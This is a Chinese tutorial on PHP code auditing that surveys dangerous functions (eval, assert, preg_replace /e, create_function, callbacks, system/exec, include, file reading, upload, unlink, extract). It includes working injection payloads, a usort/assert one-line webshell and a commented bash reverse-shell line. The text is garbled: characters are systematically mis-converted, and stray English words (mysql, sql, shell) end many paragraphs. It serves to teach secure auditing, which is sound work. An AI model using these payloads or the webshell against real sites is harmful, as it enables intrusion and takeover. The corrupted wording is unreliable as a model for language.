PHP代碼審計基礎知識

PHP代碼審計基礎知識

前言

本文章主要是PHP代碼審計的一些基礎知識,包括函數的用法,漏洞點,偏向基礎部分,我的能力有限,部分可能會出現錯誤或者遺漏,讀者可自行補充。php

代碼執行

代碼執行是代碼審計當中較爲嚴重的漏洞,主要是一些命令執行函數的不適當使用。那麼,常見的可以觸發這類漏洞的函數有哪些呢?html

eval()

想必你們對eval()函數應該並不陌生,簡而言之eval()函數就是將傳入的字符串看成 PHP 代碼來進行執行。mysql

eval( string $code) : mixed

返回值

eval() 返回 NULL,除非在執行的代碼中 return了一個值,函數返回傳遞給 return的值。PHP7開始,執行的代碼裏若是有一個parse error,eval() 會拋出 ParseError 異常。在 PHP 7 以前,若是在執行的代碼中有 parse error,eval() 返回FALSE,以後的代碼將正常執行。沒法使用set_error_handler()捕獲 eval() 中的解析錯誤。正則表達式

也就是說,咱們在利用eval()函數的時候,若是咱們傳入的字符串不是正常的代碼格式,那麼就會拋出異常。因此PHP7和PHP5在這部分最大的不一樣是什麼呢?簡而言之,PHP5在代碼錯誤格式錯誤以後仍會執行,而PHP7在代碼發生錯誤以後,那麼eval()函數就會拋出異常,而不執行以後的代碼。sql

示例:shell

<?php
    $code = "echo 'This is a PHP7';";
    eval($code);
?>

執行結果——>This is a PHP7

那麼若是我要執行系統命令呢?這個時候就須要用到PHP中的system函數。數據庫

<?php
    $code = "system('whoami');";
    eval($code);
?>

執行結果——>desktop-m61j5j6\admin

那麼到此,咱們就能夠結合其餘姿式經過這個函數實現任意代碼執行了。express

assert()

PHP 5數組

assert( mixed $assertion[, string $description] ) : bool

PHP 7瀏覽器

assert( mixed $assertion[, Throwable $exception] ) : bool

參數

  • assertion

斷言。在PHP 5 中,是一個用於執行的字符串或者用於測試的布爾值。在PHP 7 中,能夠是一個返回任何值的表達式,它將被執行結果用於判斷斷言是否成功。

  • description

若是assertion失敗了,選項description將會包含在失敗信息裏。

  • exception

在PHP 7中,第二個參數能夠是一個Throwable對象,而不是一個字符串,若是斷言失敗且啓用了assert.exception,那麼該對象將被拋出

assert()配置

配置項 默認值 可選值
zend.assertions 1 1 - 生成和執行代碼(開發模式) 0 - 生成代碼,但在執行時跳過它 -1 - 不生成代碼(生產環境)
assert.exception 0 1 - 斷言失敗時拋出,能夠拋出異常對象,若是沒有提供異常,則拋出AssertionError對象實例 0 - 使用或生成Throwable,僅僅是基於對象生成的警告而不是拋出對象(與PHP 5 兼容)

因此搞了這麼多,assert()函數究竟是幹什麼的呢?用個人理解來講,assert()函數是處理異常的一種形式,至關於一個if條件語句的宏定義同樣。

一個PHP 7 中的示例

<?php
    assert_options(ASSERT_EXCEPTION, 1);    // 設置在斷言失敗時產生異常
    try {
        assert(1 == 2, new AssertionError('由於1不等於2,因此前面斷言失敗,拋出異常'));  // 用 AssertionError 異常替代普通字符串
    } catch (Throwable $error) {
        echo $error->getMessage();
    }
?>
    
    
執行結果——>由於1不等於2,因此前面斷言失敗,拋出異常

這裏就是實例化一個對象,用這個對象來拋出異常。

一個php 5 中的示例

<?php
	assert(1 == 2,'前面斷言失敗,拋出異常');
?>
    
執行結果——>Warning: assert(): 前面斷言失敗,拋出異常 failed in D:\phpstudy_pro\WWW\1.php on line 2
    
<?php
	assert(1 == 2);
?>
    
執行結果——>Warning: assert(): Assertion failed in D:\phpstudy_pro\WWW\1.php on line 2

因此PHP 7 相較於PHP 5 就是多了個用Throwable來發出警告。

那麼,若是前面斷言成功呢?會發生什麼呢?來個最簡單,也是咱們比較喜歡的示例

<?php
	$code = "system(whoami)"
	assert($code);
?>
    
執行結果——>desktop-m61j5j6\admin

這段代碼在PHP 5 和PHP 7 中都會返回命令執行結果,雖然PHP 7 中對斷言函數的參數稍做了改變,可是爲了兼容低版本,因此仍是會直接返回結果。

preg_replace()

經過函數名字咱們也應該可以瞭解函數大概做用,此函數執行一個正則表達式的搜索和替換。

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 進行替換。

參數說明:

  • $pattern: 要搜索的模式,能夠是字符串或一個字符串數組。
  • $replacement: 用於替換的字符串或字符串數組。
  • $subject: 要搜索替換的目標字符串或字符串數組。
  • $limit: 可選,對於每一個模式用於每一個 subject 字符串的最大可替換次數。 默認是-1(無限制)。
  • $count: 可選,爲替換執行的次數。

那這個函數跟咱們命令執行有什麼關係呢?僅僅看上面的官方解釋彷佛看不出什麼,可是preg_repace()有一個模式是/e模式,這個模式就會發生代碼執行的問題,爲何呢?

看一個案例

<?php
     function Ameng($regex, $value){
        return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
    }
    foreach ($_GET as $regex => $value){
        echo Ameng($regex, $value) . "\n";
    }
?>

上面這段咱們須要注意的就是\1,\1在正則表達式是反向引用的意思,簡而言之就是指定一個子匹配項。

針對上面案例,咱們來個payload:

payload=/?.*={${phpinfo()}}
因此語句就成了這樣
preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

那麼咱們直接把這段代碼放到頁面

<?php
    preg_replace('/(.*)/ei', 'strtolower("\\1")', '{${phpinfo()}}');
?>

訪問頁面,結果以下:

咱們看到成功執行了代碼。

可是這裏我是直接將這段代碼寫到了文件裏,那麼若是咱們是經過GET傳參獲得參數,這裏針對上面那個案例就須要注意一點,在經過GET傳參時,.*會被替換爲_*致使咱們要的正則被替換了,達不到咱們的效果,因此這裏可用使用一些其餘的正則表達式來達到目的,好比經過GET傳參時咱們的參數能夠傳入\S*從而達到一樣目的。因此之後再遇到這個函數的時候,要留個心眼了。不過,這裏要補充一點,就是preg_replace()函數在PHP 7 後便再也不支持,使用preg_replace_callback()進行替換了,取消了不安全的\e模式。

create_function()

create_function()用來建立一個匿名函數

create_function( string $args, string $code) : string

參數

  • string $args 聲明的函數變量部分
  • string $code 要執行的代碼

返回值

返回惟一的函數名稱做爲字符串或者返回FALSE錯誤

create_function()函數在內部執行eval()函數,因此咱們就能夠利用這一點,來執行代碼。固然正由於存在安全問題,因此在PHP 7.2 以後的版本中已經廢棄了create_function()函數,使用匿名函數來代替。因此這裏爲了演示這個函數,我採用的是PHP 5 的環境。那麼這個函數到底怎麼用呢?

那麼來看我寫的一個簡單的案例

<?php
    $onefunc = create_function('$a','return system($a);');
	$onefunc(whoami);
?>
    
執行結果——>desktop-m61j5j6\admin

咱們看到使用此函數爲咱們至關於創造了一個匿名的函數,給它賦以相應的變量,就執行了咱們要執行的代碼。

那麼接下來咱們來看一個簡單的案例

<?php
	error_reporting(0);
	$sort_by = $_GET['sort_by'];
	$sorter = 'strnatcasecmp';
	$databases=array('1234','4321');
	$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
	usort($databases, create_function('$a, $b', $sort_function));
?>

這個主要功能就是實現排序,這段代碼就調用了create_function()函數,那麼咱們可否利用這個函數執行咱們想要執行的代碼呢?

固然能夠,咱們只須要在傳參時將前面的符號閉合,而後輸入咱們想要執行的代碼便可。

payload='"]);}phpinfo();/*
執行payload前:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
執行payloda後:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

看到這裏,你可能會有稍微疑惑,就是你閉合就閉合吧,爲何後面多了個;},不知道你是否想到了這一點?

那麼我就來分析一下這個,上面的那段執行代碼,實際上就是一個匿名函數的建立,既然是一個函數,注意是一個函數,那麼你以爲有沒有花括號呢?看我以下代碼

<?php
    //未閉合以前
    function sort($a,$b){
    ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
	}
	//閉合以後
	function sort($a,$b){
        ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);
    }
        phpinfo();/*
    }
?>

能夠看到,咱們借用了匿名函數的位置,插入了咱們要執行的代碼,而後等這個匿名函數被create_function看成$code執行的時候,是否是代碼就被執行了。

結果:

那麼creat_function函數還有別的用法嗎?咱們將上面一個案例簡單的修改一下,代碼以下:

<?php
    $onefunc = create_function("","die(`cat flag.php`)");
	$_GET['func_name']();
	die();
?>

代碼簡單的來看,咱們只須要執行$onefunc就能獲得flag,可是咱們不知道這個函數的名稱。若是在不知道函數名稱的狀況下執行函數呢?這裏就用到了creat_function函數的一個漏洞。這個函數在creat以後會自動生成一個函數名爲%00lambda_%d的匿名函數。%d的值是一直遞增的,會一直遞增到最大長度直到結束。因此這裏能夠經過多進程或者多線程訪問,從而看到flag。

因此,之後再代碼中若是看到調用create_function()要當心一點,可是若是是CTF題目的話,不會這麼直接就吧這個函數暴露給你,它可能會用到拼接或者替換來構造這個函數。最後再強調一下,create_function函數在PHP 7.2 版本以後就已經被廢棄了。

array_map()

array_map()爲數組的每一個元素應用回調函數

array_map( callable $callback, array $array1[, array $...] ) : array

array_map():返回數組,是爲 array1 每一個元素應用 callback函數以後的數組。callback 函數形參的數量和傳給array_map() 數組數量,二者必須同樣。

參數

  • callback:回調函數,應用到每一個數組裏的每一個元素。
  • array1:數組,遍歷運行callback函數。
  • ...:數組列表,每一個都遍歷運行callback函數。

返回值

返回數組,包含callback函數處理以後array1的全部元素。

說了這麼多官方的函數解釋,那麼這個函數到底如何使用呢?簡而言之,這個函數的做用能夠這麼直白的解釋一下。你原本有一個數組,而後我經過array_map函數將你這個數組看成參數傳入,而後返回一個新的數組。見下圖。

代碼示例:

<?php
    $old_array = array(1, 2, 3, 4, 5);
    function func($arg){
        return $arg * $arg;
    }
    $new_array = array_map('func',$old_array);
    var_dump($new_array);
?>
    
    
執行結果——>
array(5) {
  [0]=>
  int(1)
  [1]=>
  int(4)
  [2]=>
  int(9)
  [3]=>
  int(16)
  [4]=>
  int(25)
}

經過上述代碼,咱們大概知道這個函數就是調用回調函數(用戶自定義的函數)來實現對現有數組的操做,從而獲得一個新的數組。

那麼功能我知道了,但是這個和代碼執行有什麼關係呢?如何可以利用這個函數執行代碼呢?且看下面所示代碼。

<?php
    $func = 'system';
    $cmd = 'whoami';
    $old_array[0] = $cmd;
    $new_array = array_map($func,$old_array);
    var_dump($new_array);
?>
    
    
執行結果——>
desktop-m61j5j6\admin
array(1) {
  [0]=>
  string(21) "desktop-m61j5j6\admin"
}

這段代碼就是,經過array_map()這個函數,來調用用戶自定義的函數,而用戶這裏的回調函數其實就是system函數,那麼就至關於咱們用system函數來對舊數組進行操做,獲得新的數組,那麼這個新的數組的結果就是咱們想要的命令執行的結果了。

call_user_func()

call_user_func()是把第一個參數做爲回調函數調用

call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed

參數

第一個參數callback是被調用的回調函數,其他參數是回調函數的參數。

  • callback:即將被調用的回調函數
  • parameter:傳入回調函數的參數

這個函數仍是很是好理解的,看一段簡單的示例代碼

<?php
    function callback($a,$b){
        echo $a . "\n";
        echo $b;
    }
    call_user_func('callback','我是參數1','我是參數2');
?>


執行結果——>
我是參數1
我是參數2

能夠看到此函數做用就是調用了筆者自定義的函數。那麼這個如何實現代碼執行呢?好說,你在前面自定義的函數中加入能執行命令的代碼不久能夠代碼執行了。

示例代碼:

<?php
    function callback($a){
        return system($a);
    }
    $cmd = 'whoami';
    call_user_func('callback',$cmd);
?>

執行結果——>
desktop-m61j5j6\admin

call_user_func_array()

這個函數名稱跟上沒什麼大的差異,惟一的區別就在於參數的傳遞上,這個函數是把一個數組做爲回調函數的參數

call_user_func_array( callable $callback, array $param_arr) : mixed

參數

  • callback:被調用的回調函數
  • param_arr:要被傳入回調函數的數組,這個數組須要是索引數組

示例代碼

<?php
    function callback($a,$b){
        echo $a . "\n";
        echo $b;
    }
	$onearray = array('我是參數1','我是參數2');
    call_user_func_array('callback',$onearray);
?>


執行結果——>
我是參數1
我是參數2

示例代碼:

<?php
    function callback($a){
        return system($a);
    }
    $cmd = array('whoami');
    call_user_func_array('callback',$cmd);
?>
    
執行結果——>
desktop-m61j5j6\admin

array_filter()

用回調函數過濾數數組中的單元

array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array

依次將array數組中的每一個值傳到callback函數。若是callback函數返回true,則array數組的當前值會被包含在返回的結果數組中。數組的鍵名保留不變。

參數

  • array:要循環的數組
  • callback:使用的回調函數。若是沒有提供callback函數,將刪除array中全部等值爲FALSE的條目。
  • flag:決定callback接收的參數形式

代碼示例(這裏看官方的就行,很詳細):

<?php
function odd($var)
{
    // returns whether the input integer is odd
    return($var & 1);
}

function even($var)
{
    // returns whether the input integer is even
    return(!($var & 1));
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?> 
    
    
執行結果——>
Odd :
Array
(
    [a] => 1
    [c] => 3
    [e] => 5
)
Even:
Array
(
    [0] => 6
    [2] => 8
    [4] => 10
    [6] => 12
)

從上面代碼咱們知道,這個函數做用其實就是過濾,只不過這個過濾調用的是函數,而被過濾的是傳入的參數。到這裏你內心有沒有代碼執行的雛形了?

代碼示例:

<?php
    $cmd='whoami';
    $array1=array($cmd);
    $func ='system';
    array_filter($array1,$func);
?>
    
    
執行結果——>
desktop-m61j5j6\admin

usort()

使用用戶自定義的比較函數對數組中的值進行排序

usort( array &$array, callable $value_compare_func) : bool

參數

  • array:輸入的數組
  • cmp_function:在第一個參數小於、等於或大於第二個參數時,該比較函數必須相應地返回一個小於、等於或大於0的數

代碼示例:

<?php
    function func($a,$b){
        return ($a<$b)?1:-1;
    }
    $onearray=array(1,3,2,5,9);
    usort($onearray, 'func');
    print_r($onearray);
?>

執行結果——>
Array
(
    [0] => 9
    [1] => 5
    [2] => 3
    [3] => 2
    [4] => 1
)

可見實現了逆序的功能。那麼假若咱們把回調函數設計成可以執行代碼的函數,是否是就能夠執行咱們想要的代碼了呢?

代碼示例:

<?php 
    usort(...$_GET);
?>

payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert
POST傳參: x=phpinfo();

usort的參數經過GET傳參,第一個參數也就是$_GET[0],隨便傳入一個數字便可。第二個參數也就是$_GET[1]是咱們要調用的函數名稱,這裏採用的是assert函數。

執行結果:

uasort()

這個跟上一個差很少,區別不是很大。此函數對數組排序並保持索引和單元之間的關聯。也就是說你這個排完序以後呢,它原來對應的索引也會相應改變,相似於「綁定」。

uasort( array &$array, callable $value_compare_func) : bool

參數

  • array:輸入的數組
  • value_compare_func:用戶自定義的函數

這裏用的仍然官方例子(比較好理解)

<?php
// Comparison function
function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Sort and print the resulting array
uasort($array, 'cmp');
print
?>
       
執行結果——>
Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

咱們發現,在排完序以後索引也跟着值的位置變化而變化了。那麼代碼執行的示例代碼其實也和上一個差很少。

代碼示例:

<?php
	$a = $_GET['a'];
	$onearray = array('Ameng', $_POST['x']);
	uasort($onearray, $a);
?>

執行結果:

總結

看完這裏不知道你對代碼審計中的代碼執行部分是否有另外一種想法?個人想法就是這個是和後門聯繫在一塊兒的。咱們能夠看到不少函數都具備構造執行命令的條件,並且其中不少函數也的確被用在後門中,特別像後面幾個回調函數,在後門中更是常見。固然這些後門函數也早已被安全廠商盯住,因此大部分已經沒法直接免殺,因此想要免殺就須要結合其餘姿式,好比替換、拼接、加密等等。可是這些知識在CTF中仍是比較容易出現的。

命令執行

說完代碼執行,咱們再來看看命令執行。常見的命令執行函數有哪些呢?

system()

這個函數想必咱們都是比較熟悉的,此函數就是執行外部指令,而且顯示輸出

system( string $command[, int &$return_var] ) : string

參數

  • command:必需。要執行的命令
  • return_var:可選。若設置了這個參數,那麼命令執行後的返回狀態就會被放到這個變量中

示例代碼:

<?php
    $cmd = 'whoami';
    system($cmd);
?>
    
執行結果——>
desktop-m61j5j6\admin

exec()

這個其實和上面system函數沒有太大區別,都是執行外部程序指令,只不過這個函數多了一個參數,可讓咱們把命令執行輸出的結果保存到一個數組中。

exec( string $command[, array &$output[, int &$return_var]] ) : string

參數

  • command:必需。要執行的命令
  • output:可選。若是設置了此參數,那麼命令執行的結果將會保存到此數組。
  • return_var:可選。命令執行的返回狀態。
<?php
$cmd = 'whoami';
echo exec($cmd);
?>

執行結果——>
desktop-m61j5j6\admin

shell_exec()

此函數經過shell環境執行命令,而且將完整的輸出以字符串的方式返回。若是執行過程當中發生錯誤或者進程不產生輸出,那麼就返回NULL

shell_exec( string $cmd) : string

參數

  • cmd:要執行的命令

代碼示例:

<?php
$cmd = 'whoami';
echo shell_exec($cmd);
?>
    
執行結果——>
desktop-m61j5j6\admin

passthru()

執行外部程序而且顯示原始輸出。既然咱們已經有執行命令的函數了,那麼這個函數咱們何時會用到呢?當所執行的Unix命令輸出二進制數據,而且須要直接傳送到瀏覽器的時候,須要用此函數來替代exec()system()函數

passthru( string $command[, int &$return_var] ) : void

參數

  • command:要執行的命令
  • return_var:Unix命令的返回狀態將被記錄到此函數。

代碼示例:

第一你能夠這麼寫
<?php
    passthru('whoami');	//直接將結果返回到頁面
?>
第二你能夠這麼寫
<?php
    passthru('whoami',$result);	//將結果返回到一個變量,而後經過輸出變量值獲得輸出內容
    echo $result;
?>

pcntl_exec()

在當前進程空間執行指定程序。關鍵點就在於進程空間,假若我如今設定一個條件,你只有在某個子進程中才能讀取phpinfo,那這個時候,咱們就須要用到這個函數了。

pcntl_exec( string $path[, array $args[, array $envs]] ) : void

參數

  • path:path必須時可執行二進制文件路徑或在一個文件第一行指定了一個可執行文件路徑標頭的腳本(好比文件第一行是#!/usr/local/bin/perl的perl腳本)
  • args:此參數是一個傳遞給程序的參數的字符串數組
  • envs:環境變量,這個想必你們都很熟悉,只不過這裏強調一點,這裏傳入的是數組,數組格式是 key => value格式的,key表明要傳遞的環境變量的名稱,value表明該環境變量值。

示例代碼:

//father
<?php
	pcntl_exec('/usr/local/bin/php', ['2.php']);
?>
//son
<?php
    while(true){
        echo 'ok';
    }
?>

popen()

此函數使用command參數打開進程文件指針。若是出錯,那麼該函數就會返回FALSE。

popen(command,mode)

參數

  • command:要執行的命令
  • mode:必需。規定鏈接的模式
    • r:只讀
    • w:只寫(打開並清空已有文件或建立一個新文件)

代碼示例:

<?php
	$file = popen("demo.txt","r");
	pclose($file);
?>

<?php
$file = popen("/bin/ls","r");
//some code to be executed
pclose($file);
?>

proc_open()

此函數執行一個命令,而且打開用來輸入或者輸出的文件指針

proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] )

此函數其實和popen函數相似,都是執行命令

參數

  • cmd:要執行的命令
  • descriptorspec:索引數組。數組中的鍵值表示描述符,元素值表示 PHP 如何將這些描述符傳送至子進程。0 表示標準輸入(stdin),1 表示標準輸出(stdout),2 表示標準錯誤(stderr)。
  • pipes:將被置爲索引數組,其中的元素是被執行程序建立的管道對應到PHP這一段的文件指針。
  • cwd:要執行命令的初始工做目錄。必需是絕對路徑。此參數默認使用 NULL(表示當前 PHP 進程的工做目錄)
  • env。要執行命令所使用的環境變量。此參數默認爲 NULL(表示和當前 PHP 進程相同的環境變量)
  • other_options:可選。附加選項
    • suppress_errors (僅用於 Windows 平臺):設置爲 TRUE 表示抑制本函數產生的錯誤。
    • bypass_shell (僅用於 Windows 平臺):設置爲 TRUE 表示繞過 cmd.exe shell。

說白了,其實就是執行命令,只不過其中多了一些選項,包括目錄的,環境變量的等。

示例代碼:

$descriptorspec = array(
			0 => array("pipe", "r"),	//標準輸入,子進程今後管道讀取數據
			1 => array("pipe", "w"),	//標準輸出,子進程向此管道寫入數據
			2 => array("file", "/opt/figli/php/error-output.txt","a")	//標準錯誤,寫入到指定文件
			);
 
 
	$process = proc_open("ls -a", $descriptorspec, $pipes);
 
	if(is_resource($process)){
 
		echo stream_get_contents($pipes[1]);
		fclose($pipes[1]);
 
		proc_close($process);	//在調用proc_close以前必須關閉全部管道
	}

文件包含

include()

include將會包含語句並執行指定文件

include 'filename';

關鍵點就在於執行指定文件,執行給了咱們代碼執行的機會。假若此時咱們構造了一個後門文件,須要在目標機器執行進行shell反彈,那麼若是代碼中有include並且沒有進行過濾,那麼咱們就可使用該函數來執行咱們的後門函數。下面我來演示一下。

示例代碼(1.php):

<?php
	highlight_file(__FILE__);
	$file = $_GET['file'];
	include $file;
?>

示例代碼(2.php):

<?php
	//這裏可使用PHP來反彈shell,我這裏只是演示
	//$sock=fsockopen("127.0.0.1",4444);exec("bin/bash -i <&3 >&3 2>&3");
	echo '<br><h1>[*]backdoor is running!</h1>';
?>

執行結果:

include_once()

include_onceinclude沒有太大區別,惟一的其區別已經在名稱中體現了,就是相同的文件只包含一次。其餘功能和include_once同樣,只是增長對每一個文件包含的次數。

require()

require的實現和include功能幾乎徹底相同,那既然同樣爲何還要多一個這樣的函數呢?( 我也不知道)

其實二者仍是有點區別的,什麼區別呢?這麼說,若是你包含的文件的代碼裏面有錯誤,你以爲會發生什麼?是繼續執行包含的文件,仍是中止執行呢?因此區別就在這裏產生了。

require在出錯時會致使腳本終止,而include在出錯時只是發生警告,腳本仍是繼續執行。

require_once()

這個我以爲你看完上面的,應該就懂了。這二者關係和includeinclude_once的關係是同樣的。

總結

文件包含有不少利用手段,其中在實際環境中,例如咱們向服務器寫入了後門,可是咱們沒法直接鏈接服務器,那麼若是有文件包含函數,咱們能夠經過文件包含函數包含執行咱們的後門函數,讓服務器反彈鏈接咱們。豈不美哉。

文件讀取(下載)

file_get_contents()

函數功能是將整個文件讀入一個字符串

file_get_contents(path,include_path,context,start,max_length)

參數

  • filename:要讀取文件的名稱。
  • include_path:可選。若是也想在 include_path 中搜索文件,能夠設置爲1。
  • context:可選。規定句柄的位置。
  • start:可選。規定文件中開始讀取的位置。
  • max_length:可選。規定讀取的字節數。

代碼示例:

<?php
    echo file_get_contents('demo.txt');
?>
    
執行結果——>
I am a demo text

fopen()

此函數將打開一個文件或URL,若是 fopen() 失敗,它將返回 FALSE 並附帶錯誤信息。咱們能夠經過在函數名前面添加一個 @ 來隱藏錯誤輸出。

fopen(filename,mode,include_path,context)

參數

  • filename:必需。要打開的文件或URL
  • mode:必需。規定訪問類型(例如只讀,只寫,讀寫方式等,方式的規定和其餘語言的規定方式一致)
  • include_path:可選。就是你能夠指定搜索的路徑位置,若是要指定的話,那麼該參數要指定爲1
  • context:可選。規定句柄的環境。

代碼示例:

<?php
	$file = fopen("demo.txt","rb");
	$content = fread($file,1024);
	echo $content;
	fclose($file);
?>
    
執行結果——>
I am a demo text

這段代碼中其實也包含了fread的用法。由於fread僅僅只是打開一個文件,要想讀取還得須要用到fread來讀取文件內容。

fread()

這個函數剛纔在上個函數中基本已經演示過了,就是讀取文件內容。這裏代碼就再也不演示了,簡單介紹一下參數和用法。

string fread ( resource $handle , int $length )

參數

  • handle:文件系統指針,是典型地由 fopen建立的resource
  • length:必需。你要讀取的最大字節數。

fgets()

從打開的文件中讀取一行

fgets(file,length)

參數

  • file:必需。規定要讀取的文件。
  • length:可選。規定要讀取的字節數。默認是1024字節。

能夠看出這個函數和以前的fread區別不是很大,只不過這個讀取的是一行。

fgetss()

這個函數跟上個沒什麼差異,也是從打開的文件中讀取去一行,只不過過濾掉了 HTML 和 PHP 標籤。

fgetss(file,length,tags)

參數

  • file:必需。要檢查的文件。
  • length:可選。規定要讀取的字節數,默認1024字節。
  • tags:可選。哪些標記不去掉。

代碼示例:

<?php
	$file = fopen("demo.html","r");
	echo fgetss($file);
	fclose($file);
?>

demo.html代碼
<h1>I am a demo</h1>
    
執行結果——>
I am a demo

readfile()

這個函數從名稱基本就知道它是幹啥的了,讀文件用的。此函數將讀取一個文件,並寫入到輸出緩衝中。若是成功,該函數返回從文件中讀入的字節數。若是失敗,該函數返回 FALSE 並附帶錯誤信息。

readfile(filename,include_path,context)

參數

  • filename:必需。要讀取的文件。
  • include_path:可選。規定要搜索的路徑。
  • context:可選。規定文件句柄環境。

代碼示例:

<?php
	echo "<br>" . readfile("demo.txt");
?>
    
執行結果——>
I am a demo:) I am a demo:(
28

咱們看到不只輸出了全部內容,並且還輸出了總共長度。可是沒有輸出換行。

file()

把文件讀入到一個數組中,數組中每個元素對應的是文件中的一行,包括換行符。

file(path,include_path,context)

參數

  • path:必需。要讀取的文件。
  • include_path:可選。可指定搜索路徑。
  • context:可選。設置句柄環境。

代碼示例:

<?php
print_r(file("demo.txt"));
?>
    
執行結果——>
Array 
( 
[0] => I am the first line! 
[1] => I am the second line! 
)

parse_ini_file()

從名稱能夠看出,這個函數不是讀取一個簡單的文件。它的功能是解析一個配置文件(ini文件),並以數組的形式返回其中的位置。

parse_ini_file(file,process_sections)

參數

  • file:必需。要讀取的ini文件
  • process_sections:可選。若爲TRUE,則返回一個多維數組,包括了詳細信息

代碼示例:

<?php
	print_r(parse_ini_file("demo.ini"));
?>

demo.ini內容:
[names]
me = Robert
you = Peter

[urls]
first = "http://www.example.com"
second = "https://www.runoob.com"

執行結果——>
Array 
( 
[me] => Robert 
[you] => Peter 
[first] => http://www.example1.com 
[second] => https://www.example2.com 
)

show_source()/highlight_file()

這兩個函數沒什麼好說的,想必你們也常常見到這兩個函數,其做用就是讓php代碼顯示在頁面上。這兩個沒有任何區別,show_source其實就是highlight_file的別名。

總結

文件讀取這塊內容沒什麼好說的,不難,大多隻是基本的應用。重點文件讀取若是沒有設置權限和過濾參數,那就問題大了,咱們就能夠任意文件讀取了。

補充:什麼是句柄?

開局先給一段代碼

$file = fopen("demo.txt","rb");

在這段代碼中$file就是一個句柄。句柄關鍵點在「柄」,後面的fopen是一個資源,比如一口鍋,而前面的$file就比如這個鍋的把手。那麼之後咱們在操做的時候操做把手就好了。經過這個把手咱們能夠間接操做比較大的資源。其實也相似C語言中的指針,只是一個標識。

文件上傳

move_uploaded_file()

此函數是將上傳的文件移動到新位置。

move_uploaded_file(file,newloc)

參數

  • file:必需。規定要移動的文件。
  • newloc:必需。規定文件的新位置。

本函數檢查並確保由 file 指定的文件是合法的上傳文件(即經過 PHP 的 HTTP POST 上傳機制所上傳的)。若是文件合法,則將其移動爲由 newloc 指定的文件。

若是 file 不是合法的上傳文件,不會出現任何操做,move_uploaded_file() 將返回 false。

若是 file 是合法的上傳文件,但出於某些緣由沒法移動,不會出現任何操做,move_uploaded_file() 將返回 false,此外還會發出一條警告。

代碼示例:

$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],$fileName )

這段代碼就是直接接收上傳的文件,沒有進行任何的過濾,那麼當咱們上傳getshell的後門時,就能夠直接獲取權限,可見這個函數是不能亂用的,即使要用也要將過濾規則完善好,防止上傳不合法文件。

文件刪除

此函數用來刪除文件。成功返回 TURE ,失敗返回 FALSE。

unlink(filename,context)

參數

  • filename:必需。要刪除的文件。
  • context:可選。句柄環境。

咱們知道,一些網站是有刪除功能的。好比常見的論壇網站,是有刪除評論或者文章功能的。假若網站沒有對刪除處作限制,那麼就可能會致使任意文件刪除(甚至刪除網站源碼)。

代碼示例:

<?php
    $file = "demo.txt";
    if(unlink($file)){
        echo("$file have been deleted");
    }
	else{
        echo("$file not exist?")
    }
php>

session_destroy()

在瞭解這個函數以前,咱們須要先了解 PHP session。 PHP session 變量用於存儲關於用戶會話的信息。關於 sesson 的機制這裏我就再也不過於詳細介紹。

session_destroy()函數用來銷燬一個會話中的所有數據,但並不會重置當前會話所關聯的全局變量,同時也不會重置會話 cookie

代碼示例:

<?php
// 初始化會話。
// 若是要使用會話,別忘了如今就調用:
session_start();

// 重置會話中的全部變量
$_SESSION = array();

// 若是要清理的更完全,那麼同時刪除會話 cookie
// 注意:這樣不但銷燬了會話中的數據,還同時銷燬了會話自己
if (ini_get("session.use_cookies")) {
    $params = session_get_cookie_params();
    setcookie(session_name(), '', time() - 42000,
        $params["path"], $params["domain"],
        $params["secure"], $params["httponly"]
    );
}

// 最後,銷燬會話
session_destroy();
?>

變量覆蓋

extract()

此函數從數組中將變量導入到當前的符號表。其實做用就是給變量從新賦值,從而達到變量覆蓋的做用。

extract(array,extract_rules,prefix)

參數

  • array:必需。規定要使用的數組。

  • extract_rules:可選。extract函數將檢查每一個鍵名是否爲合法的變量名,同時也檢查和符號中已經存在的變量名是否衝突,對不合法或者衝突的鍵名將會根據此參數的設定的規則來決定。

    • EXTR_OVERWRITE - 默認。若是有衝突,則覆蓋已有的變量。
    • EXTR_SKIP - 若是有衝突,不覆蓋已有的變量。
    • EXTR_PREFIX_SAME - 若是有衝突,在變量名前加上前綴 prefix。
    • EXTR_PREFIX_ALL - 給全部變量名加上前綴 prefix。
    • EXTR_PREFIX_INVALID - 僅在不合法或數字變量名前加上前綴 prefix。
    • EXTR_IF_EXISTS - 僅在當前符號表中已有同名變量時,覆蓋它們的值。其它的都不處理。
    • EXTR_PREFIX_IF_EXISTS - 僅在當前符號表中已有同名變量時,創建附加了前綴的變量名,其它的都不處理。
    • EXTR_REFS - 將變量做爲引用提取。導入的變量仍然引用了數組參數的值。
